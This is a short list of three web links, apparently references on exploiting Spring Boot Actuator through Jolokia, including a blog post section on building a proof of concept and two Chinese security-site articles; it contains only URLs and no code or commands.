https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc
https://www.anquanke.com/post/id/195929
http://vulsee.com/archives/vulsee_2019/1025_9168.html